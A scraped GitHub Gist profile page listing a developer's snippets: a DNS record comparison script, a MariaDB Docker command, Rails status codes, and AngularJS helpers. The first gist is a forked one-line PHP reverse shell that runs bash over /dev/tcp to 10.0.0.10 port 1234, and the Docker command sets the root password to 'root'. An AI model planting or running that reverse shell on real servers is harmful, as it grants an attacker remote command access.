Skip to content

Instantly share code, notes, and snippets.

View Rudis1261's full-sized avatar

Rudi Strydom Rudis1261

View GitHub Profile
@Rudis1261
Rudis1261 / shell.php
Created March 3, 2022 11:00 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@Rudis1261
Rudis1261 / test_dns_records.sh
Created May 10, 2018 17:25
A script I used to compare my old DNS v.s my new DNS to ensure all the records match
#!/bin/bash
domain=$1
server=$2
dig +nocmd +multiline +noall +answer "${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "${domain}" MX "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "www.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}'| sort -u -k1
dig +nocmd +multiline +noall +answer "mail.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "mail._domainkey.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "_acme-challenge.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
@Rudis1261
Rudis1261 / test_dns_records.sh
Created May 10, 2018 17:25
A script I used to compare my old DNS v.s my new DNS to ensure all the records match
#!/bin/bash
domain=$1
server=$2
dig +nocmd +multiline +noall +answer "${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "${domain}" MX "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "www.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}'| sort -u -k1
dig +nocmd +multiline +noall +answer "mail.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "mail._domainkey.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "_acme-challenge.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
@Rudis1261
Rudis1261 / create_mariadb_docker.sh
Last active December 14, 2017 07:16
Creating a docker MySQL instance
mkdir -p /data/mysql
echo "CREATING CONTAINER MySQL (Mariabd)"
docker run \
-d \
-e MYSQL_ROOT_PASSWORD=root \
-e MYSQL_ROOT_HOST=% \
-v /data/mysql:/var/lib/mysql \
-p 3306:3306 \
-i \
@Rudis1261
Rudis1261 / rails http status codes
Created November 6, 2017 18:30 — forked from mlanett/rails http status codes
HTTP status code symbols for Rails
HTTP status code symbols for Rails
Thanks to Cody Fauser for this list of HTTP responce codes and their Ruby on Rails symbol mappings.
Status Code Symbol
1xx Informational
100 :continue
101 :switching_protocols
102 :processing
@Rudis1261
Rudis1261 / convert_ascii.php
Created October 1, 2017 00:44 — forked from jaywilliams/convert_ascii.php
This simple function will remove any non-ASCII character. Feel free to fork and extend!
<?php
/**
* Remove any non-ASCII characters and convert known non-ASCII characters
* to their ASCII equivalents, if possible.
*
* @param string $string
* @return string $string
* @author Jay Williams <myd3.com>
* @license MIT License
* @link http://gist.github.com/119517
@Rudis1261
Rudis1261 / color_mix.js
Created August 8, 2017 07:07
Generate 100 mixed Hex values in AngularJS1
// Run this in your browser's console to generate 100 colors between 3 hex values
var colors = {};
function int_to_hex(num) {
var hex = Math.round(num).toString(16);
if (hex.length == 1)
hex = '0' + hex;
return hex;
};
function blend_colors(color1, color2, percentage) {
@Rudis1261
Rudis1261 / fastclick.js
Last active July 28, 2017 11:57
Standalone Range Slider Directive With. OnSet, OnDrag bindings
/**
* @ngdoc function
* @name siteBuilderApp.directives
* @description
* # siteBuilderApp.directives
* Directives of the siteBuilderApp
*/
angular.module('siteBuilderAppDirectives')
.directive('ngMobileClick', function ($parse) {
@Rudis1261
Rudis1261 / find.regex
Last active July 19, 2017 11:10
SCSS Find Replace Variable Assignments
(?:.(?!:.+))+;
OR
:[^:]+;
@Rudis1261
Rudis1261 / darken.js
Created July 10, 2017 13:51
Angular JS CSS Filters
.filter('darken', function() {
return function(hex, percentile) {
if (!hex) return '';
if (hex.indexOf('#') !== 0) {
return hex;
}
hex = hex.replace('#','');
var amount = 0;